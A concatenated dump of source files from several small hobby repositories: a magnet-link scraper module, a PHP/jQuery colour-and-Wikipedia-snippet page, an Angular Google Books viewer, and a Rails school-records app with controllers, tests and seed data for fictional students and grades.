'/48h500' ] async function $fetch() { const promises = urls.map(async (url) => { const response = await fetch(`${base}${url}`) const text = await response.text() const magnets = text.match(/"(magnet:.+?)"/g).map((string) => { return string.replace(/^"|"$/g, '') }) return magnets }) const lists = await Promise.all(promises) const magnets = lists.reduce((set, list) => { for (const item of list) { set.add(item) } return set }, new Set) return [...magnets].map((uri) => { const parsed = magnet.decode(uri) return { infoHash: parsed.infoHashBuffer, magnet: uri } }) } module.exports = $fetch
628e138ff6cf77c106a60fb61b470640ac9a6d3f
[ "JavaScript", "Dockerfile", "Markdown", "Shell" ]
7
JavaScript
crzidea/torrent-sniffer
4a5ac7d93fa40d6201c47fdf8c7290537b51091c
2e6804a86cf01e4e11e4478b62f3c20b21f520b0
refs/heads/master
<repo_name>ATaylor-Sweet/FrontEnd<file_sep>/returnRand.php <?php $file = "dictionary.txt"; $file_arr = file($file); $num_lines = count($file_arr); echo $file_arr[rand(0, $num_lines)]; ?> <file_sep>/js/control.js $( document ).ready(function() { $.ajax({url: "./images.html", dataType: 'html', success: function(result){ $('#addCarousel').html(result); }}); }); let size = 16; let R = 0; let G = 0; let B = 0; let background = "rgb(255, 255, 255)"; $("#btn-16").click(function(){ size = 16; updateText(); }); $("#btn-20").click(function(){ size = 20; updateText(); }); $("#btn-24").click(function(){ size = 24; updateText(); }); $("#btn-28").click(function(){ size = 28; updateText(); }); $("#btn-32").click(function(){ size = 32; updateText(); }); $('#rslide').slider().on('slide', function(){ R = $('#rslide').val(); updateText(); $('#RED').text(R); }); $('#gslide').slider().on('slide', function(){ G = $('#gslide').val(); updateText(); $('#GREEN').text(G); }); $('#bslide').slider().on('slide', function(){ B = $('#bslide').val(); updateText(); $('#BLUE').text(B); }); function updateText(){ $('#helloWorld').attr("style", "color: rgb("+R+", "+G+", "+B+"); font-size: "+size+"px; background-color:"+ background + ";"); } $("#btnRandomize").click(function(){ let htmlString = getArticleSnippet(); let stripedHtml = $("<div>").html(htmlString).text(); }); function getArticleSnippet(){ let word = ""; $.ajax({url: './returnRand.php', dataType: 'text', success: function(result){ word = result; let url = "https://en.wikipedia.org/w/api.php?action=query&explaintext&format=json&list=search&srsearch=" + word; $.ajax({url: url, dataType: 'jsonp', success: function(result){ console.log(result); console.log(url); $("#helloWorld").text(result['query']['search'][0]['snippet'].replace(/<span class=\"searchmatch\">/g, "").replace(/<\/span>/g,"")); }}); }}); } $("#btnScrambleColours").click(function(){ let randR = Math.floor((Math.random() * 255)); let randG = Math.floor((Math.random() * 255)); let randB = Math.floor((Math.random() * 255)); background = "rgb("+randR+", "+randG+", "+randB+")"; R = 255 - randR; G = 255 - randG; B = 255 - randB; updateText(); }); <file_sep>/index.php <!DOCTYPE html> <html lang="en"> <?php include 'header.html' ?> <body> <?php include 'nav.html' ?> <div class="m-4"> <div class="row"> <div class="col"> <button type="button" id="btnRandomize" class="btn btn-primary">Randomize text</button> <button type="button" id="btnScrambleColours" class="btn btn-primary">Scramble Colours!</button> <div class="row m-3"> <p class="mr-3">R</p> <input type="text" id="rslide" name="red" data-provide="slider" data-slider-min="0" data-slider-max="255" data-slider-step="1" data-slider-value="0" data-slider-tooltip="hide"> <p class="ml-3" id="RED">0</p> </div> <div class="row m-3"> <p class="mr-3">G</p> <input type="text" id="gslide" name="green" data-provide="slider" data-slider-min="0" data-slider-max="255" data-slider-step="1" data-slider-value="0" data-slider-tooltip="hide"> <p class="ml-3" id="GREEN">0</p> </div> <div class="row m-3"> <p class="mr-3">B</p> <input type="text" id="bslide" name="blue" data-provide="slider" data-slider-min="0" data-slider-max="255" data-slider-step="1" data-slider-value="0" data-slider-tooltip="hide"> <p class="ml-3" id="BLUE">0</p> </div> </div> <div class="col"> <p class="d-flex justify-content-center m-3" id="helloWorld">Hello world!</p> </div> </div> <div id="addCarousel"></div> </div> <?php include 'footer.html' ?> </div> <!-- Custom JS --> <script src="js/control.js"></script> </body> </html>
efb85a371c648368bb6e97122c2f12b1de376719
[ "JavaScript", "PHP" ]
3
PHP
ATaylor-Sweet/FrontEnd
1e34fde265edf40a3f6c2780a6a50c0612db0d66
eb4943694b0a1d1da0db462fdf27cba2213311b8
refs/heads/master
<repo_name>hieunguyen239/booklist<file_sep>/src/app/services/book.service.ts import { Injectable } from '@angular/core'; import { Http, Response } from '@angular/http'; import 'rxjs/Rx'; @Injectable() export class BookService { private apiKey = '<KEY>'; private apiEndPoint = `https://www.googleapis.com/books/v1/volumes?key=${this.apiKey}`; constructor(private http: Http) {} getData(apiURL) { return this.http.get(apiURL).map((response: Response) => response.json()); } getBooks(maxResults: number = 40, inauthor: string) { const author = encodeURI(inauthor); const apiURL = `${this.apiEndPoint}&q=inauthor:${author}&maxResults=${maxResults}`; return this.getData(apiURL); } getBook(id) { const apiURL = `${this.apiEndPoint}&q=id:${id}`; return this.getData(apiURL); } } <file_sep>/src/app/BookDetail/book-detail.component.ts import { Component, OnInit } from '@angular/core'; import 'rxjs/Rx'; import { ActivatedRoute } from '@angular/router'; import { BookService } from '../services/book.service'; @Component({ selector: 'app-book-detail', templateUrl: './book-detail.component.html', providers: [BookService], }) export class BookDetailComponent implements OnInit { book: object; showLoader: boolean = false; isError: boolean = false; constructor( private route: ActivatedRoute, private service: BookService, ) {} private fetchData() { this.route.params.subscribe((params) => { const { id } = params; this.showLoader = true; this.service.getBook(id).subscribe((data) => { this.showLoader = false; const [items] = data.items; this.book = items; this.isError = false; }, (err) => { console.log(err); this.isError = true; }); }); } ngOnInit() { this.fetchData(); } } <file_sep>/src/app/BookDetail/book-detail.component.html <div class="book-detail-page" [ngClass]="{'is-loading' : showLoader}" *ngIf="!isError"> <div class="breadscrum"> <a [routerLink]="['/books']">Books</a> <i *ngIf='book !== undefined'><span class="serparate">/</span> {{ book.volumeInfo.title }}</i> </div> <div class="book-detail-wrapper" *ngIf='book !== undefined'> <div class="col col-left"> <img src="{{ book.volumeInfo.imageLinks.thumbnail }}" alt="{{ book.volumeInfo.title }}" class="book-img"/> </div> <div class="col col-right"> <h1 class="title">{{ book.volumeInfo.title }}</h1> <div class="more-detail publish-date">{{ book.volumeInfo.publishedDate }}</div> <div class="more-detail publisher">{{ book.volumeInfo.publisher }}</div> <div class="more-detail description">{{ book.volumeInfo.description }}</div> </div> </div> </div> <div class="component-error" *ngIf="isError"> <div class="error-text">Something wrong happened, Click this button to try again!</div> <button class="error-button" (click)="fetchData($event)">Try Again</button> </div><file_sep>/src/app/app.module.ts import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { RouterModule, Routes } from '@angular/router'; import { HttpModule } from '@angular/http'; import { AppComponent } from './app.component'; import { BookViewComponent } from './BookView/book-view.component'; import { BookDetailComponent } from './BookDetail/book-detail.component'; import { PageNotFoundComponent } from './PageNotFound/page-not-found.component'; const appRoutes: Routes = [ // { path: '', component: BookViewComponent }, { path: 'books', component: BookViewComponent }, { path: 'book/:id', component: BookDetailComponent }, { path: '**', component: PageNotFoundComponent }, ]; @NgModule({ declarations: [ AppComponent, BookViewComponent, BookDetailComponent, PageNotFoundComponent, ], imports: [ BrowserModule, HttpModule, RouterModule.forRoot( appRoutes, ), ], providers: [], bootstrap: [AppComponent], }) export class AppModule { } <file_sep>/src/app/BookView/book-view.component.ts import { Component, OnInit } from '@angular/core'; import { BookService } from '../services/book.service'; @Component({ selector: 'app-book-view', templateUrl: './book-view.component.html', providers: [BookService], }) export class BookViewComponent implements OnInit { books: any = []; initBooks: any = []; sortState: string = ''; filterState: string = ''; showLoader: boolean = false; isError: boolean = false; constructor(private service: BookService) { } private fetchData() { this.showLoader = true; this.service.getBooks(40, '<NAME>').subscribe((data) => { this.showLoader = false; this.books = data.items; this.initBooks = JSON.parse(JSON.stringify(data.items)); this.isError = false; }, (err) => { console.log(err); this.isError = true; }); } ngOnInit() { this.fetchData(); } private doSort(value) { switch (value) { case 'name-asc': this.books.sort((a, b) => { const textA = a.volumeInfo.title.toLowerCase(); const textB = b.volumeInfo.title.toLowerCase(); return (textA < textB) ? -1 : (textA > textB) ? 1 : 0; }); break; case 'name-des': this.books.sort((a, b) => { const textA = a.volumeInfo.title.toLowerCase(); const textB = b.volumeInfo.title.toLowerCase(); return (textA > textB) ? -1 : (textA < textB) ? 1 : 0; }); break; case 'price-asc': this.books.sort((a, b) => { const textA = (a.saleInfo.saleability !== 'NOT_FOR_SALE') ? +a.saleInfo.retailPrice.amount : 0; const textB = (b.saleInfo.saleability !== 'NOT_FOR_SALE') ? +b.saleInfo.retailPrice.amount : 0; return (textA < textB) ? -1 : (textA > textB) ? 1 : 0; }); break; case 'price-des': this.books.sort((a, b) => { const textA = (a.saleInfo.saleability !== 'NOT_FOR_SALE') ? +a.saleInfo.retailPrice.amount : 0; const textB = (b.saleInfo.saleability !== 'NOT_FOR_SALE') ? +b.saleInfo.retailPrice.amount : 0; return (textA > textB) ? -1 : (textA < textB) ? 1 : 0; }); break; default: this.books = this.initBooks; break; } if (this.filterState && !this.sortState) { this.doFilter(this.filterState); } } private doFilter(value) { if (!value) { this.books = this.initBooks; if (this.sortState) { this.doSort(this.sortState); } } else { this.books = this.initBooks.filter((book) => { return book.volumeInfo.title.toLowerCase().search(value) !== -1; }); if (this.sortState) { this.doSort(this.sortState); } } } handlerSort(event) { const value = event.target.value; this.sortState = value; this.doSort(value); } handlerFilter(event) { const value = event.target.value.toLowerCase(); this.filterState = value; this.doFilter(value); } }
3a131fc94810739bf670ad41d32456b0207e0d94
[ "TypeScript", "HTML" ]
5
TypeScript
hieunguyen239/booklist
a2d50f54ec165e9febfca5b62a4a74012719ae4f
9a619afda88b5443b3c5cb4f995c8c5797aa45fc
refs/heads/master
<repo_name>KuyaThor/myNCSHS<file_sep>/app/controllers/application_controller.rb class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception include SessionsHelper def current_user @_current_user ||= session[:student_lrn] && Student.find_by(student_lrn: session[:student_lrn]) end end <file_sep>/app/controllers/sessions_controller.rb class SessionsController < ApplicationController def new end def create user = Student.find_by(student_lrn: params[:session][:student_lrn]) if user && user.authenticate(params[:session][:password]) # Log the user in and redirect to the user's show page. session[:student_lrn] = user.student_lrn redirect_to "/students/home" else # Create an error message. flash[:danger] = "Invalid LRN and Password combination" redirect_to "/login" end end def destroy session[:student_lrn] = nil flash[:notice] = "You have successfully logged out." redirect_to "/login" end end <file_sep>/test/controllers/student_year_sections_controller_test.rb require 'test_helper' class StudentYearSectionsControllerTest < ActionController::TestCase setup do @student_year_section = student_year_sections(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:student_year_sections) end test "should get new" do get :new assert_response :success end test "should create student_year_section" do assert_difference('StudentYearSection.count') do post :create, student_year_section: { section_name: @student_year_section.section_name, student_lrn: @student_year_section.student_lrn, year_level: @student_year_section.year_level } end assert_redirected_to student_year_section_path(assigns(:student_year_section)) end test "should show student_year_section" do get :show, id: @student_year_section assert_response :success end test "should get edit" do get :edit, id: @student_year_section assert_response :success end test "should update student_year_section" do patch :update, id: @student_year_section, student_year_section: { section_name: @student_year_section.section_name, student_lrn: @student_year_section.student_lrn, year_level: @student_year_section.year_level } assert_redirected_to student_year_section_path(assigns(:student_year_section)) end test "should destroy student_year_section" do assert_difference('StudentYearSection.count', -1) do delete :destroy, id: @student_year_section end assert_redirected_to student_year_sections_path end end <file_sep>/db/migrate/20170311071429_create_teacher_subject_sections.rb class CreateTeacherSubjectSections < ActiveRecord::Migration def change create_table :teacher_subject_sections do |t| t.string :teacher_id t.string :subject_title t.string :section_name t.timestamps null: false end end end <file_sep>/app/models/subject.rb class Subject < ActiveRecord::Base #database relations has_many :student_grade_subjects has_many :teacher_subject_sections has_many :students, through: :student_grade_subjects has_many :teachers, through: :teacher_subject_sections end <file_sep>/test/controllers/teacher_subject_sections_controller_test.rb require 'test_helper' class TeacherSubjectSectionsControllerTest < ActionController::TestCase setup do @teacher_subject_section = teacher_subject_sections(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:teacher_subject_sections) end test "should get new" do get :new assert_response :success end test "should create teacher_subject_section" do assert_difference('TeacherSubjectSection.count') do post :create, teacher_subject_section: { section_name: @teacher_subject_section.section_name, subject_title: @teacher_subject_section.subject_title, teacher_id: @teacher_subject_section.teacher_id } end assert_redirected_to teacher_subject_section_path(assigns(:teacher_subject_section)) end test "should show teacher_subject_section" do get :show, id: @teacher_subject_section assert_response :success end test "should get edit" do get :edit, id: @teacher_subject_section assert_response :success end test "should update teacher_subject_section" do patch :update, id: @teacher_subject_section, teacher_subject_section: { section_name: @teacher_subject_section.section_name, subject_title: @teacher_subject_section.subject_title, teacher_id: @teacher_subject_section.teacher_id } assert_redirected_to teacher_subject_section_path(assigns(:teacher_subject_section)) end test "should destroy teacher_subject_section" do assert_difference('TeacherSubjectSection.count', -1) do delete :destroy, id: @teacher_subject_section end assert_redirected_to teacher_subject_sections_path end end <file_sep>/db/migrate/20170319101209_add_password1_to_students.rb class AddPassword1ToStudents < ActiveRecord::Migration def change add_column :students, :password, :password end end <file_sep>/app/views/student_grade_subjects/_student_grade_subject.json.jbuilder json.extract! student_grade_subject, :id, :student_lrn, :subject_title, :quarter, :grade, :created_at, :updated_at json.url student_grade_subject_url(student_grade_subject, format: :json)<file_sep>/db/migrate/20170301135856_create_students.rb class CreateStudents < ActiveRecord::Migration def change create_table :students do |t| t.string :student_lrn t.string :first_name t.string :middle_name t.string :last_name t.integer :age t.date :birthdate t.string :religion t.string :contact_no t.integer :year_level t.timestamps null: false end end end <file_sep>/app/models/class_section.rb class ClassSection < ActiveRecord::Base #database relations has_many :student_year_sections has_many :teacher_advise_classes end <file_sep>/app/views/teacher_advise_classes/_teacher_advise_class.json.jbuilder json.extract! teacher_advise_class, :id, :license_id, :section_name, :created_at, :updated_at json.url teacher_advise_class_url(teacher_advise_class, format: :json)<file_sep>/db/migrate/20170311070700_create_student_grade_subjects.rb class CreateStudentGradeSubjects < ActiveRecord::Migration def change create_table :student_grade_subjects do |t| t.string :student_lrn t.string :subject_title t.integer :quarter t.decimal :grade t.timestamps null: false end end end <file_sep>/db/seeds.rb # This file should contain all the record creation needed to seed the database with its default values. # The data can then be loaded with the rake db:seed !(or created alongside the db with db:setup). # # Examples: # # cities = City.create!( name: 'Chicago' , name: 'Copenhagen' ) # Mayor.create!(name: 'Emanuel', city: cities.first) Student.delete_all Teacher.delete_all Subject.delete_all ClassSection.delete_all Announcement.delete_all StudentGradeSubject.delete_all StudentYearSection.delete_all # create students Student.create!(student_lrn: '111111', first_name: 'Student', middle_name: 'Number', last_name: 'One', age: 18, birthdate: '1997-06-01', religion: 'Catholic', contact_no:'09123456789', year_level: 3, password: 'One') Student.create!(student_lrn: '222222', first_name: 'Student', middle_name: 'Number', last_name: 'Two', age: 18, birthdate: '1997-07-02', religion: 'Catholic', contact_no:'09123456789', year_level: 3, password: 'Two') Student.create!(student_lrn: '333333', first_name: 'Student', middle_name: 'Number', last_name: 'Three', age: 18, birthdate: '1997-08-03', religion: 'Catholic', contact_no:'09123456789', year_level: 3, password: '<PASSWORD>') Student.create!(student_lrn: '444444', first_name: 'Student', middle_name: 'Number', last_name: 'Four', age: 18, birthdate: '1997-09-04', religion: 'Catholic', contact_no:'09123456789', year_level: 3, password: '<PASSWORD>') Student.create!(student_lrn: '555555', first_name: 'Student', middle_name: 'Number', last_name: 'Five', age: 18, birthdate: '1997-10-05', religion: 'Catholic', contact_no:'09123456789', year_level: 3, password: '<PASSWORD>') # create teachers Teacher.create!(license_id: '111111', first_name: 'Sample', middle_name: 'Teacher', last_name: 'One', contact_no:'09123456789') Teacher.create!(license_id: '222222', first_name: 'Sample', middle_name: 'Teacher', last_name: 'Two', contact_no:'09123456789') Teacher.create!(license_id: '333333', first_name: 'Sample', middle_name: 'Teacher', last_name: 'Three', contact_no:'09123456789') Teacher.create!(license_id: '444444', first_name: 'Sample', middle_name: 'Teacher', last_name: 'Four', contact_no:'09123456789') Teacher.create!(license_id: '555555', first_name: 'Sample', middle_name: 'Teacher', last_name: 'Five', contact_no:'09123456789') # create subjects Subject.create!(subject_title: 'Subject 1', schedule:'07:30', instructor:'111111') Subject.create!(subject_title: 'Subject 2', schedule:'08:30', instructor:'222222') Subject.create!(subject_title: 'Subject 3', schedule:'09:30', instructor:'333333') Subject.create!(subject_title: 'Subject 4', schedule:'10:30', instructor:'444444') Subject.create!(subject_title: 'Subject 5', schedule:'11:30', instructor:'555555') #create class ClassSection.create!(section_name: 'Section 1', room_number: '101', academic_track:'ESEP', adviser:'111111') ClassSection.create!(section_name: 'Section 2', room_number: '101', academic_track:'ESEP', adviser:'111111') ClassSection.create!(section_name: 'Section 3', room_number: '101', academic_track:'ESEP', adviser:'111111') ClassSection.create!(section_name: 'Section 4', room_number: '101', academic_track:'ESEP', adviser:'111111') ClassSection.create!(section_name: 'Section 5', room_number: '101', academic_track:'ESEP', adviser:'111111') #create announcement Announcement.create!(post_date: '2017-03-01', title: 'Announcement 1', content: 'One Announcement') Announcement.create!(post_date: '2017-03-02', title: 'Announcement 2', content: 'Two Announcement') Announcement.create!(post_date: '2017-03-03', title: 'Announcement 3', content: 'Three Announcement') Announcement.create!(post_date: '2017-03-04', title: 'Announcement 4', content: 'Four Announcement') Announcement.create!(post_date: '2017-03-05', title: 'Announcement 5', content: 'Five Announcement') #create student grade subject StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 1', quarter: 1, grade: '98.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 2', quarter: 1, grade: '89.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 3', quarter: 1, grade: '67.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 4', quarter: 1, grade: '93.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 5', quarter: 1, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 1', quarter: 1, grade: '92.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 2', quarter: 1, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 3', quarter: 1, grade: '84.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 4', quarter: 1, grade: '97.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 5', quarter: 1, grade: '88.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 1', quarter: 1, grade: '76.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 2', quarter: 1, grade: '84.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 3', quarter: 1, grade: '85.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 4', quarter: 1, grade: '77.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 5', quarter: 1, grade: '66.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 1', quarter: 1, grade: '88.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 2', quarter: 1, grade: '75.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 3', quarter: 1, grade: '82.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 4', quarter: 1, grade: '70.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 5', quarter: 1, grade: '86.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 1', quarter: 1, grade: '74.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 2', quarter: 1, grade: '90.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 3', quarter: 1, grade: '70.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 4', quarter: 1, grade: '94.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 5', quarter: 1, grade: '92.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 1', quarter: 2, grade: '98.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 2', quarter: 2, grade: '89.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 3', quarter: 2, grade: '67.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 4', quarter: 2, grade: '93.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 5', quarter: 2, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 1', quarter: 2, grade: '92.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 2', quarter: 2, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 3', quarter: 2, grade: '84.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 4', quarter: 2, grade: '97.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 5', quarter: 2, grade: '88.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 1', quarter: 2, grade: '76.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 2', quarter: 2, grade: '84.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 3', quarter: 2, grade: '85.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 4', quarter: 2, grade: '77.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 5', quarter: 2, grade: '66.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 1', quarter: 2, grade: '88.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 2', quarter: 2, grade: '75.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 3', quarter: 2, grade: '82.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 4', quarter: 2, grade: '70.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 5', quarter: 2, grade: '86.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 1', quarter: 2, grade: '74.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 2', quarter: 2, grade: '90.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 3', quarter: 2, grade: '70.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 4', quarter: 2, grade: '94.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 5', quarter: 2, grade: '92.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 1', quarter: 3, grade: '98.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 2', quarter: 3, grade: '89.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 3', quarter: 3, grade: '67.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 4', quarter: 3, grade: '93.0') StudentGradeSubject.create!(student_lrn: '111111', subject_title: 'Subject 5', quarter: 3, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 1', quarter: 3, grade: '92.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 2', quarter: 3, grade: '76.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 3', quarter: 3, grade: '84.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 4', quarter: 3, grade: '97.0') StudentGradeSubject.create!(student_lrn: '222222', subject_title: 'Subject 5', quarter: 3, grade: '88.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 1', quarter: 3, grade: '76.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 2', quarter: 3, grade: '84.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 3', quarter: 3, grade: '85.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 4', quarter: 3, grade: '77.0') StudentGradeSubject.create!(student_lrn: '333333', subject_title: 'Subject 5', quarter: 3, grade: '66.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 1', quarter: 3, grade: '88.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 2', quarter: 3, grade: '75.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 3', quarter: 3, grade: '82.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 4', quarter: 3, grade: '70.0') StudentGradeSubject.create!(student_lrn: '444444', subject_title: 'Subject 5', quarter: 3, grade: '86.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 1', quarter: 3, grade: '74.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 2', quarter: 3, grade: '90.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 3', quarter: 3, grade: '70.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 4', quarter: 3, grade: '94.0') StudentGradeSubject.create!(student_lrn: '555555', subject_title: 'Subject 5', quarter: 3, grade: '92.0') #create student year section StudentYearSection.create!(student_lrn: '111111', year_level: 1, section_name: 'Section 1') StudentYearSection.create!(student_lrn: '111111', year_level: 2, section_name: 'Section 2') StudentYearSection.create!(student_lrn: '111111', year_level: 3, section_name: 'Section 3') StudentYearSection.create!(student_lrn: '222222', year_level: 1, section_name: 'Section 1') StudentYearSection.create!(student_lrn: '222222', year_level: 2, section_name: 'Section 2') StudentYearSection.create!(student_lrn: '222222', year_level: 3, section_name: 'Section 3') StudentYearSection.create!(student_lrn: '333333', year_level: 1, section_name: 'Section 1') StudentYearSection.create!(student_lrn: '333333', year_level: 2, section_name: 'Section 2') StudentYearSection.create!(student_lrn: '333333', year_level: 3, section_name: 'Section 3') StudentYearSection.create!(student_lrn: '444444', year_level: 1, section_name: 'Section 1') StudentYearSection.create!(student_lrn: '444444', year_level: 2, section_name: 'Section 2') StudentYearSection.create!(student_lrn: '444444', year_level: 3, section_name: 'Section 3') StudentYearSection.create!(student_lrn: '555555', year_level: 1, section_name: 'Section 1') StudentYearSection.create!(student_lrn: '555555', year_level: 2, section_name: 'Section 2') StudentYearSection.create!(student_lrn: '555555', year_level: 3, section_name: 'Section 3') ##create teacher advise class #TeacherAdviseClass.create!(teacher_id: '111111', section_name: 'Section 1') #TeacherAdviseClass.create!(teacher_id: '222222', section_name: 'Section 2') #TeacherAdviseClass.create!(teacher_id: '333333', section_name: 'Section 3') #TeacherAdviseClass.create!(teacher_id: '444444', section_name: 'Section 4') #TeacherAdviseClass.create!(teacher_id: '555555', section_name: 'Section 5') ##create teacher subject section #TeacherSubjectSection.create!(teacher_id: '111111', subject_title: 'Subject 1', section_name: 'Section 5') #TeacherSubjectSection.create!(teacher_id: '222222', subject_title: 'Subject 2', section_name: 'Section 4') #TeacherSubjectSection.create!(teacher_id: '333333', subject_title: 'Subject 3', section_name: 'Section 3') #TeacherSubjectSection.create!(teacher_id: '444444', subject_title: 'Subject 4', section_name: 'Section 2') #TeacherSubjectSection.create!(teacher_id: '555555', subject_title: 'Subject 5', section_name: 'Section 1')<file_sep>/app/controllers/teacher_subject_sections_controller.rb class TeacherSubjectSectionsController < ApplicationController before_action :set_teacher_subject_section, only: [:show, :edit, :update, :destroy] # GET /teacher_subject_sections # GET /teacher_subject_sections.json def index @teacher_subject_sections = TeacherSubjectSection.all end # GET /teacher_subject_sections/1 # GET /teacher_subject_sections/1.json def show end # GET /teacher_subject_sections/new def new @teacher_subject_section = TeacherSubjectSection.new end # GET /teacher_subject_sections/1/edit def edit end # POST /teacher_subject_sections # POST /teacher_subject_sections.json def create @teacher_subject_section = TeacherSubjectSection.new(teacher_subject_section_params) respond_to do |format| if @teacher_subject_section.save format.html { redirect_to @teacher_subject_section, notice: 'Teacher subject section was successfully created.' } format.json { render :show, status: :created, location: @teacher_subject_section } else format.html { render :new } format.json { render json: @teacher_subject_section.errors, status: :unprocessable_entity } end end end # PATCH/PUT /teacher_subject_sections/1 # PATCH/PUT /teacher_subject_sections/1.json def update respond_to do |format| if @teacher_subject_section.update(teacher_subject_section_params) format.html { redirect_to @teacher_subject_section, notice: 'Teacher subject section was successfully updated.' } format.json { render :show, status: :ok, location: @teacher_subject_section } else format.html { render :edit } format.json { render json: @teacher_subject_section.errors, status: :unprocessable_entity } end end end # DELETE /teacher_subject_sections/1 # DELETE /teacher_subject_sections/1.json def destroy @teacher_subject_section.destroy respond_to do |format| format.html { redirect_to teacher_subject_sections_url, notice: 'Teacher subject section was successfully destroyed.' } format.json { head :no_content } end end private # Use callbacks to share common setup or constraints between actions. def set_teacher_subject_section @teacher_subject_section = TeacherSubjectSection.find(params[:id]) end # Never trust parameters from the scary internet, only allow the white list through. def teacher_subject_section_params params.require(:teacher_subject_section).permit(:teacher_id, :subject_title, :section_name) end end <file_sep>/test/controllers/student_grade_subjects_controller_test.rb require 'test_helper' class StudentGradeSubjectsControllerTest < ActionController::TestCase setup do @student_grade_subject = student_grade_subjects(:one) end test "should get index" do get :index assert_response :success assert_not_nil assigns(:student_grade_subjects) end test "should get new" do get :new assert_response :success end test "should create student_grade_subject" do assert_difference('StudentGradeSubject.count') do post :create, student_grade_subject: { grade: @student_grade_subject.grade, quarter: @student_grade_subject.quarter, student_lrn: @student_grade_subject.student_lrn, subject_title: @student_grade_subject.subject_title } end assert_redirected_to student_grade_subject_path(assigns(:student_grade_subject)) end test "should show student_grade_subject" do get :show, id: @student_grade_subject assert_response :success end test "should get edit" do get :edit, id: @student_grade_subject assert_response :success end test "should update student_grade_subject" do patch :update, id: @student_grade_subject, student_grade_subject: { grade: @student_grade_subject.grade, quarter: @student_grade_subject.quarter, student_lrn: @student_grade_subject.student_lrn, subject_title: @student_grade_subject.subject_title } assert_redirected_to student_grade_subject_path(assigns(:student_grade_subject)) end test "should destroy 